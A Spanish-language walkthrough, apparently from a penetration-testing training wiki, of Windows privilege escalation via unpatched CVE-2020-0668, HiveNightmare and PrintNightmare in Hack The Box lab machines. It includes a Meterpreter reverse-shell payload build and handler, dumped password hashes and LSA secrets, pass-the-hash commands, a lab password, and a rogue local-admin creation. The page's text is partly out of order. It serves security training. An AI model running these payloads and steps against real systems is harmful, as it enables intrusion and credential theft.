Last logon                   Never

Logon hours allowed          All

Local Group Memberships      *Administrators       
Global Group memberships     *None                 
The command completed successfully.

Esta es una pequeña muestra de algunas de las vulnerabilidades de mayor impacto. Si bien es fundamental que comprendamos y podamos enumerar y explotar estas vulnerabilidades, también es importante poder detectar y aprovechar fallas menos conocidas.


Enumeración de parches faltantes

El primer paso es mirar las actualizaciones instaladas e intentar encontrar actualizaciones que puedan haberse pasado por alto, abriendo así un camino de ataque para nosotros.

Examinar las actualizaciones instaladas

Podemos examinar las actualizaciones instaladas de varias maneras. A continuación, se muestran tres comandos independientes que podemos utilizar.

PS C:\htb> systeminfo
PS C:\htb> wmic qfe list brief
PS C:\htb> Get-Hotfix

Ver actualizaciones instaladas con WMI

C:\htb> wmic qfe list brief

Description      FixComments  HotFixID   InstallDate  InstalledBy          InstalledOn  Name  ServicePackInEffect  Status
Update                        KB4601056               NT AUTHORITY\SYSTEM  3/27/2021                                    
Update                        KB4513661                                    1/9/2020                                     
Security Update               KB4516115                                    1/9/2020                                     
Update                        KB4517245                                    1/9/2020                                     
Security Update               KB4528759                                    1/9/2020                                     
Security Update               KB4535680               NT AUTHORITY\SYSTEM  3/27/2021                                    
Security Update               KB4580325               NT AUTHORITY\SYSTEM  3/27/2021                                    
Security Update               KB5000908               NT AUTHORITY\SYSTEM  3/27/2021                                    
Security Update               KB5000808               NT AUTHORITY\SYSTEM  3/27/2021                                    

Ejemplo de CVE-2020-0668

Comprobar los privilegios de usuario actuales

Verifiquemos los privilegios de nuestro usuario actual.

C:\htb> whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                          State
============================= ==================================== ========
SeShutdownPrivilege           Shut down the system                 Disabled
SeChangeNotifyPrivilege       Bypass traverse checking             Enabled
SeUndockPrivilege             Remove computer from docking station Disabled
SeIncreaseWorkingSetPrivilege Increase a process working set       Disabled
SeTimeZonePrivilege           Change the time zone                 Disabled

Después de construir la solución

CVE-2020-0668.exe
CVE-2020-0668.exe.config
CVE-2020-0668.pdb
NtApiDotNet.dll
NtApiDotNet.xml

También podemos buscar cualquier software de terceros que se pueda aprovechar, como el Servicio de mantenimiento de Mozilla. Este servicio se ejecuta en el contexto de SYSTEM y lo pueden iniciar usuarios sin privilegios. El binario (no protegido por el sistema) para este servicio se encuentra a continuación.

  • C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe

Compror permisos en binarios

icacls confirma que solo tenemos permisos de lectura y ejecución en este binario según la línea BUILTIN\Users:(I)(RX)en la salida del comando.

C:\htb> icacls "c:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe"

C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe NT AUTHORITY\SYSTEM:(I)(F)
                                                                          BUILTIN\Administrators:(I)(F)
                                                                          BUILTIN\Users:(I)(RX)
                                                                          APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(I)(RX)
                                                                          APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:(I)(RX)
 
Successfully processed 1 files; Failed processing 0 files

Generar binario malicioso

Generemos un binario malicioso maintenanceservice.exe que pueda usarse para obtener una conexión de reverse shell de Meterpreter desde nuestro objetivo.

afsh4ck@kali$ msfvenom -p windows/x64/meterpreter/reverse_https LHOST=10.10.14.3 LPORT=8443 -f exe > maintenanceservice.exe

[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 645 bytes
Final size of exe file: 7168 bytes

Alojamiento del binario malicioso

afsh4ck@kali$ $ python3 -m http.server 8080

Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) ...
10.129.43.13 - - [01/Mar/2022 18:17:26] "GET /maintenanceservice.exe HTTP/1.1" 200 -
10.129.43.13 - - [01/Mar/2022 18:17:45] "GET /maintenanceservice.exe HTTP/1.1" 200 -

Descarga del binario malicioso

Para este paso, necesitamos hacer dos copias del archivo .exe malicioso. Podemos simplemente extraerlo dos veces o hacerlo una vez y hacer una segunda copia.

Necesitamos hacer esto porque ejecutar el exploit corrompe la versión maliciosa de maintenanceservice.exe que se mueve a (nuestra copia en c:\Users\htb-student\Desktop a la que apuntamos) c:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe, del cual tendremos que dar cuenta más adelante. Si intentamos utilizar la versión copiada, recibiremos un error de sistema 216 porque el archivo .exe ya no es un binario válido.

PS C:\htb> wget http://10.10.15.244:8080/maintenanceservice.exe -O maintenanceservice.exe
PS C:\htb> wget http://10.10.15.244:8080/maintenanceservice.exe -O maintenanceservice2.exe

Ejecutando el exploit

A continuación, ejecutemos el exploit. Acepta dos argumentos: los archivos de origen y destino.

C:\htb> C:\Tools\CVE-2020-0668\CVE-2020-0668.exe C:\Users\htb-student\Desktop\maintenanceservice.exe "C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe"                                       

[+] Moving C:\Users\htb-student\Desktop\maintenanceservice.exe to C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe

[+] Mounting \RPC Control onto C:\Users\htb-student\AppData\Local\Temp\nzrghuxz.leo
[+] Creating symbol links
[+] Updating the HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\RASPLAP configuration.
[+] Sleeping for 5 seconds so the changes take effect
[+] Writing phonebook file to C:\Users\htb-student\AppData\Local\Temp\179739c5-5060-4088-a3e7-57c7e83a0828.pbk
[+] Cleaning up
[+] Done!

Comprobación de permisos de un nuevo archivo

El exploit se ejecuta y, icacls al volver a ejecutarse, muestra la siguiente entrada para nuestro usuario: WINLPE-WS02\htb-student:(F). Esto significa que nuestro usuario htb-student tiene control total sobre el binario Maintenanceservice.exe y podemos sobrescribirlo con una versión no dañada de nuestro binario malicioso.

C:\htb> icacls 'C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe'

C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe NT AUTHORITY\SYSTEM:(F)
                                                                          BUILTIN\Administrators:(F)
                                                                          WINLPE-WS02\htb-student:(F)

Reemplazo de archivo con binario malicioso

Podemos sobrescribir el maintenanceservice.exebinario c:\Program Files (x86)\Mozilla Maintenance Service con una copia funcional del binario malicioso creado anteriormente antes de proceder a iniciar el servicio. En este ejemplo, descargamos dos copias del binario malicioso en y C:\Users\htb-student\Desktop. Movamos la copia funcional que no fue dañada por el exploit al directorio Archivos de programa, asegurándonos de cambiar el nombre del archivo correctamente y eliminar el o el servicio no se iniciará. El comando solo funcionará desde una ventana cmd.exe, no desde una consola de PowerShell:

C:\htb> copy /Y C:\Users\htb-student\Desktop\maintenanceservice2.exe "c:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe"

        1 file(s) copied.

Abrir listener Multi Handler con metasploit

use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_https
set LHOST <our_ip>
set LPORT 8443
exploit

Ejecutar Metasploit con Resource Script

Inicie Metasploit usando el archivo de script de recursos para precargar nuestra configuración.

afsh4ck@kali$ sudo msfconsole -r handler.rc 
                                                 

         .                                         .
 .

      dBBBBBBb  dBBBP dBBBBBBP dBBBBBb  .                       o
       '   dB'                     BBP
    dB'dB'dB' dBBP     dBP     dBP BB
   dB'dB'dB' dBP      dBP     dBP  BB
  dB'dB'dB' dBBBBP   dBP     dBBBBBBB

                                   dBBBBBP  dBBBBBb  dBP    dBBBBP dBP dBBBBBBP
          .                  .                  dB' dBP    dB'.BP
                             |       dBP    dBBBB' dBP    dB'.BP dBP    dBP
                           --o--    dBP    dBP    dBP    dB'.BP dBP    dBP
                             |     dBBBBP dBP    dBBBBP dBBBBP dBP    dBP

                                                                    .
                .
        o                  To boldly go where no
                            shell has gone before


       =[ metasploit v6.0.9-dev                           ]
+ -- --=[ 2069 exploits - 1123 auxiliary - 352 post       ]
+ -- --=[ 592 payloads - 45 encoders - 10 nops            ]
+ -- --=[ 7 evasion                                       ]

Metasploit tip: Use the resource command to run commands from a file

[*] Processing handler.rc for ERB directives.
resource (handler.rc)> use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
resource (handler.rc)> set PAYLOAD windows/x64/meterpreter/reverse_https
PAYLOAD => windows/x64/meterpreter/reverse_https
resource (handler.rc)> set LHOST 10.10.14.3
LHOST => 10.10.14.3
resource (handler.rc)> set LPORT 8443
LPORT => 8443
resource (handler.rc)> exploit
[*] Started HTTPS reverse handler on https://10.10.14.3:8443

Iniciando el servicio

Inicie el servicio y deberíamos obtener una sesión como NT AUTHORITY\SYSTEM.

C:\htb> net start MozillaMaintenance 

The service is not responding to the control function

More help is available by typing NET HELPMSG 2186

Recibir una sesión de Meterpreter

Recibiremos un error al intentar iniciar el servicio, pero aún recibiremos una devolución de llamada una vez que se ejecute el binario de Meterpreter.

[*] Started HTTPS reverse handler on https://10.10.14.3:8443
[*] https://10.10.14.3:8443 handling request from 10.129.43.13; (UUID: syyuxztc) Staging x64 payload (201308 bytes) ...
[*] Meterpreter session 1 opened (10.10.14.3:8443 -> 10.129.43.13:52047) at 2021-05-14 13:38:55 -0400


meterpreter > getuid

Server username: NT AUTHORITY\SYSTEM

meterpreter > sysinfo

Computer        : WINLPE-WS02
OS              : Windows 10 (10.0 Build 18363).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 6
Meterpreter     : x64/windows


meterpreter > hashdump

Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
htb-student:1002:aad3b435b51404eeaad3b435b51404ee:3c0e5d303ec84884ad5c3b7876a06ea6:::
mrb3n:1001:aad3b435b51404eeaad3b435b51404ee:cf3a5525ee9414229e66279623ed5c58:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:c93428723187f868ae2f99d4fa66dceb:::

Caso práctico

Objetivo: 10.129.43.13 (ACADEMY-WINLPE-SRV01)

RDP con el usuario "htb-student" y la contraseña "HTB_@cademy_stdnt!"

Pruebe alguno de los ejemplos de esta sección para escalar privilegios a NT AUTHORITY\SYSTEM en el host de destino. Envíe el contenido de la flag en el escritorio del administrador.

Hive Nightmare

Vamos a explotar la vulnerabilidad Hive Nightmare contra el objetivo.

Comprobación de permisos en el archivo SAM

No tenemos Powershell como admin, por lo que usaremos el usuario por defecto.

PS C:\Users\htb-student> icacls c:\Windows\System32\config\SAM

c:\Windows\System32\config\SAM BUILTIN\Administrators:(I)(F)
                               NT AUTHORITY\SYSTEM:(I)(F)
                               BUILTIN\Users:(I)(RX)
                               APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(I)(RX)
                               APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:(I)(RX)

Successfully processed 1 files; Failed processing 0 files

Ataque para extraer hashes

PS C:\tools> ls                                                                                                         

    Directory: C:\tools

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-----        3/25/2021   2:45 PM                CVE-2020-0668
-a----        3/25/2021   2:57 PM        1378688 accesschk.exe
-a----         8/9/2021  12:44 PM         178561 CVE-2021-1675.ps1
-a----         8/9/2021  12:45 PM          32256 CVE-2021-36934.exe
-a----        3/25/2021   2:53 PM            790 Watson.exe
PS C:\tools> .\CVE-2021-36934.exe                                                                                       [*] SAM: \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\system32\config\sam
[*] SYSTEM: \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\system32\config\system
[*] SECURITY: \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\system32\config\security
[*] Copying files to C:\windows\temp\
[*] SAM hashes
Administrator:500:aad3b435b51404eeaad3b435b51404ee:7796ee39fd3a9c3a1844556115ae1a54
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:c93428723187f868ae2f99d4fa66dceb
mrb3n:1001:aad3b435b51404eeaad3b435b51404ee:7796ee39fd3a9c3a1844556115ae1a54
htb-student:1002:aad3b435b51404eeaad3b435b51404ee:3c0e5d303ec84884ad5c3b7876a06ea6
[*] Cached domain logon information(domain/username:hash)
[*] LSA Secrets
[*] DPAPI_SYSTEM
dpapi_machinekey:3c7b7e66890fb2181a74bb56ab12195f248e9461
dpapi_userkey:c3e6491e75d7cffe8efd40df94d83cba51832a56
[*] NL$KM
NL$KM:45c5b232298b05b8e7e7e04b2c148302ce2fe7d9b8e0f0f820c8e470ddd17f4f422ce69eaf5774010988b378173f8854528f8d9c0636c02443b9d80f3588b960

[*] Cleaning up..
PS C:\tools>                                                                                                            

Vemos que se extraen los hashes de los usuarios correctamente incluso sin tener privilegios en el sistema, y los archivos se guardan en C:\windows\temp\. Como no tenemos acceso al directorio (por no tener permisos de admin) tendremos que conformarnos con los hashes que hemos extraído.

Pass the Hash para conectarnos como administrator

xfreerdp /v:10.129.43.13 /u:administrator /pth:7796ee39fd3a9c3a1844556115ae1a54

Al intentar el Pass the Hash nos da el error típico de seguridad:

Para evadirlo vamos a conectarnos de nuevo con el usuario htb-student. Al intentar ejecutar la regla para evadir el Pass the Hash tampoco nos deja por no tener privilegios:

PS C:\windows\temp> reg add HKLM\System\CurrentControlSet\Control\Lsa /t REG_DWORD /v DisableRestrictedAdmin /d 0x0 /f

ERROR: Access is denied.

En este punto solamente podríamos probar a crackear hashes para ver si podemos obtener la contraseña en plano de algún usuario más privilegiado, o usar otra técnica. Después de probar a crackear los hashes no obtenemos resultados, por lo que vamos a probar con PrintNightmare.

Print Nightmare

Comprobar servicio de Spooler

PS C:\windows\temp> ls \\localhost\pipe\spoolss                                                                         

    Directory: \\localhost\pipe

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
                                                 spoolss

Omitir política de ejecución en el host

PS C:\windows\temp> Set-ExecutionPolicy Bypass -Scope Process   
                                                        
Execution Policy Change
The execution policy helps protect you from scripts that you do not trust. Changing the execution policy might expose
you to the security risks described in the about_Execution_Policies help topic at
https:/go.microsoft.com/fwlink/?LinkID=135170. Do you want to change the execution policy?
[Y] Yes  [A] Yes to All  [N] No  [L] No to All  [S] Suspend  [?] Help (default is "N"): A

Añadir nuevo administrador local

PS C:\tools> Import-Module .\CVE-2021-1675.ps1
PS C:\tools> Invoke-Nightmare -NewUser "afsh4ck" -NewPassword "afsh4ck" -DriverName "PrintIt"
[+] created payload at C:\Users\htb-student\AppData\Local\Temp\nightmare.dll
[+] using pDriverPath = "C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_ce3301b66255a0fb\Amd64\mxdwdrv.dll"
[+] added user afsh4ck as local administrator
[+] deleting payload from C:\Users\htb-student\AppData\Local\Temp\nightmare.dll

Confirmación de usuario local

PS C:\tools> net user afsh4ck                                                                                           User name                    afsh4ck
Full Name                    afsh4ck
Comment
User's comment
Country/region code          000 (System Default)
Account active               Yes
Account expires              Never

Password last set            ‎3/‎24/‎2025 12:46:45 PM
Password expires             Never
Password changeable          ‎3/‎24/‎2025 12:46:45 PM
Password required            Yes
User may change password     Yes

Workstations allowed         All
Logon script
User profile
Home directory
Last logon                   Never

Logon hours allowed          All

Local Group Memberships      *Administrators
Global Group memberships     *None

The command completed successfully.

Bingo! Somos admin en el equipo. Abrimos una Powershell como administrador:

Acceso a la flag

PS C:\Windows\system32> whoami
winlpe-ws02\afsh4ck

PS C:\Windows\system32> cd C:\Users\Administrator\Desktop\
PS C:\Users\Administrator\Desktop> ls

    Directory: C:\Users\Administrator\Desktop


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----         6/4/2021   5:55 PM             29 flag.txt
-a----         6/4/2021   5:50 PM           1450 Microsoft Edge.lnk


PS C:\Users\Administrator\Desktop> type flag.txt
D0nt_fall_b3h1nd_0n_*************

AnteriorPermisos débilesSiguienteServicios vulnerables en Windows

Última actualización hace 2 meses

¿Te fue útil?

Este es útil para buscar información detallada sobre las vulnerabilidades de seguridad de Microsoft. Esta base de datos tiene 4.733 vulnerabilidades de seguridad registradas al momento de escribir este artículo, lo que muestra la enorme superficie de ataque que presenta un entorno Windows.

MS08-067- Esta era una vulnerabilidad de ejecución de código remoto en el servicio "Servidor" debido a un manejo inadecuado de las solicitudes RPC. Esto afectó a Windows Server 2000, 2003 y 2008 y Windows XP y Vista y permite que un atacante no autenticado ejecute código arbitrario con privilegios de SISTEMA. Aunque normalmente se encuentra en entornos de cliente como una vulnerabilidad de ejecución de código remoto, podemos llegar a un host donde el servicio SMB está bloqueado a través del firewall. Podemos usar esto para escalar privilegios después de reenviar el puerto 445 de vuelta a nuestro cuadro de ataque. Aunque se trata de una vulnerabilidad "heredada", todavía veo que aparece de vez en cuando en grandes organizaciones, especialmente en aquellas de la industria médica que pueden estar ejecutando aplicaciones específicas que solo funcionan en versiones anteriores de Windows Server/Desktop. No debemos descartar vulnerabilidades más antiguas incluso en 2021. Nos encontraremos con todos los escenarios posibles al realizar evaluaciones de clientes y debemos estar preparados para tener en cuenta todas las posibilidades. The Box en la plataforma Hack The Box muestra esta vulnerabilidad desde el punto de vista de la ejecución de código remoto. Hay una versión independiente y una versión Metasploit de este exploit.

MS17-010- También conocida como , es una vulnerabilidad de ejecución remota de código que formaba parte del kit de herramientas FuzzBunch publicado en la filtración . Este exploit aprovecha una vulnerabilidad en el protocolo SMB porque el protocolo SMBv1 maneja incorrectamente los paquetes especialmente diseñados por un atacante, lo que lleva a la ejecución de código arbitrario en el host de destino como la cuenta SYSTEM. Al igual que con MS08-067, esta vulnerabilidad también se puede aprovechar como un vector de escalada de privilegios local si aterrizamos en un host donde el puerto 445 está bloqueado por firewall. Hay varias versiones de este exploit para Metasploit Framework, así como scripts de exploit independientes. Este ataque se mostró en el cuadro en Hack The Box, nuevamente desde el punto de vista remoto.

ALPC Task Scheduler 0-Day- El método de punto final ALPC utilizado por el servicio del Programador de tareas de Windows podría utilizarse para escribir DACL arbitrarias en archivos .job ubicados en el directorio C:\Windows\tasks. Un atacante podría aprovechar esto para crear un vínculo físico a un archivo que el atacante controle. El exploit para esta falla utilizó la función de API para llamar a un trabajo de impresión utilizando la impresora XPS y secuestrar la DLL como NT AUTHORITY\SYSTEM a través del servicio Spooler. Hay disponible un informe detallado de la caja Hack The Box se puede utilizar para probar este exploit de escalada de privilegios.

CVE-2021-36934 HiveNightmare, (aka SeriousSam) es una falla de Windows 10 que hace que CUALQUIER usuario tenga derechos para leer el registro de Windows y acceder a información confidencial independientemente del nivel de privilegio. Los investigadores desarrollaron rápidamente un exploit PoC para permitir la lectura de los subárboles de registro SAM, SYSTEM y SECURITY y crear copias de ellos para procesarlos sin conexión más tarde y extraer hashes de contraseñas (incluido el administrador local) utilizando una herramienta como SecretsDump.py. Puede encontrar más información sobre esta falla y binario de exploit se puede utilizar para crear copias de los tres archivos en nuestro directorio de trabajo. Este se puede utilizar para detectar la falla y también para solucionar el problema de ACL. Echemos un vistazo.

Este se puede utilizar para realizar el ataque, creando copias de las colmenas de registro mencionadas anteriormente:

CVE-2021-1675/CVE-2021-34527 PrintNightmare es una falla en que se utiliza para permitir la impresión remota y la instalación de controladores. Esta función está destinada a brindarles a los usuarios con privilegios de Windows el privilegio SeLoadDriverPrivilege con la capacidad de agregar controladores a un administrador de impresión remoto. Este derecho generalmente está reservado para los usuarios del grupo de administradores integrado y los operadores de impresión que pueden tener una necesidad legítima de instalar un controlador de impresora en la máquina de un usuario final de forma remota.

La falla permitía a cualquier usuario autenticado agregar un controlador de impresión a un sistema Windows sin tener el privilegio mencionado anteriormente, lo que permitía a un atacante la ejecución completa del código remoto como SISTEMA en cualquier sistema afectado. La falla afecta a todas las versiones compatibles de Windows y, dado que el administrador de impresión se ejecuta de forma predeterminada en los controladores de dominio, Windows 7 y 10, y a menudo está habilitado en los servidores Windows, esto presenta una superficie de ataque masiva, de ahí la "pesadilla". Microsoft lanzó inicialmente un parche que no solucionaba el problema (y la guía inicial era deshabilitar el servicio de administrador de impresión, lo que no es práctico para muchas organizaciones), pero lanzó un segundo en julio de 2021 junto con una guía para verificar que las configuraciones de registro específicas estén configuradas 0o no definidas.

Una vez que esta vulnerabilidad se hizo pública, se lanzaron rápidamente exploits de PoC. versión de se puede utilizar para ejecutar una DLL maliciosa de forma remota o local mediante una versión modificada de Impacket. El repositorio también contiene una implementación de C#. Esta se puede utilizar para una escalada rápida de privilegios locales. De forma predeterminada, este script agrega un nuevo usuario administrador local, pero también podemos proporcionar una DLL personalizada para obtener un shell inverso o algo similar si agregar un usuario administrador local no está dentro del alcance.

Primero, comience por la política de ejecución en el host de destino:

Podemos buscar cada KB (número de identificación de Microsoft Knowledge Base) en el para tener una mejor idea de qué correcciones se han instalado y cuánto tiempo lleva el sistema con las actualizaciones de seguridad. Una búsqueda de KB5000808nos muestra que se trata de una actualización de marzo de 2021, lo que significa que es probable que el sistema esté muy atrasado con las actualizaciones de seguridad.

A continuación, vamos a explotar , que explota una vulnerabilidad de movimiento de archivos arbitrarios aprovechando el seguimiento de servicios de Windows. El seguimiento de servicios permite a los usuarios solucionar problemas con los servicios y módulos en ejecución generando información de depuración. Sus parámetros se pueden configurar mediante el registro de Windows. Si se establece un valor MaxFileSize personalizado que sea menor que el tamaño del archivo, se solicita que se cambie el nombre del archivo con una .OLDextensión cuando se activa el servicio. Esta operación de movimiento la realiza NT AUTHORITY\SYSTEM, y se puede abusar de ella para mover un archivo de nuestra elección con la ayuda de puntos de montaje y enlaces simbólicos.

Podemos usar exploit para CVE-2020-0668, descargarlo y abrirlo en Visual Studio dentro de una máquina virtual. Al compilar la solución, se deberían crear los siguientes archivos.

En este punto, podemos usar el exploit para crear un archivo de nuestra elección en una carpeta protegida como C:\Windows\System32. No podemos sobrescribir ningún archivo protegido de Windows. Esta escritura de archivo privilegiada debe estar encadenada con otra vulnerabilidad, como o para cargar la DLL y aumentar nuestros privilegios. Sin embargo, la técnica UsoDllLoader puede no funcionar si hay actualizaciones de Windows pendientes o en proceso de instalación, y el servicio DiagHub puede no estar disponible.

Podemos descargarlo al objetivo mediante cURL después de iniciar un servidor HTTP de Python en nuestro host de ataque como en la sección anterior . También podemos usar wget desde el objetivo.

A continuación, guarde los siguientes comandos en un archivo llamado handler.rc.

Este se puede utilizar para realizar el ataque; En nuestro caso tenemos el exploit en el directorio c:/tools:

sitio
Legacy
EternalBlue
de Shadow Brokers
Blue
SchRpcSetSecurity
aquí . El
hackback
aquí
este
script
PoC
🔑Atacando a SAM
RpcAddPrinterDriver
parche
Esta
@cube0x0
implementación de PowerShell
omitir
Catálogo de Microsoft Update
Microsoft CVE-2020-0668: vulnerabilidad de elevación de privilegios del kernel de Windows
este
UsoDllLoader
DiagHub
User Account Control
de script de recursos
PoC
🌋
📘
📘
📘
CVE-2021-1675/CVE-2021-1675.ps1 at main · calebstewart/CVE-2021-1675GitHub
CVE-2021-1675/CVE-2021-1675.ps1 at main · calebstewart/CVE-2021-1675GitHub
Logo
Logo
Page cover image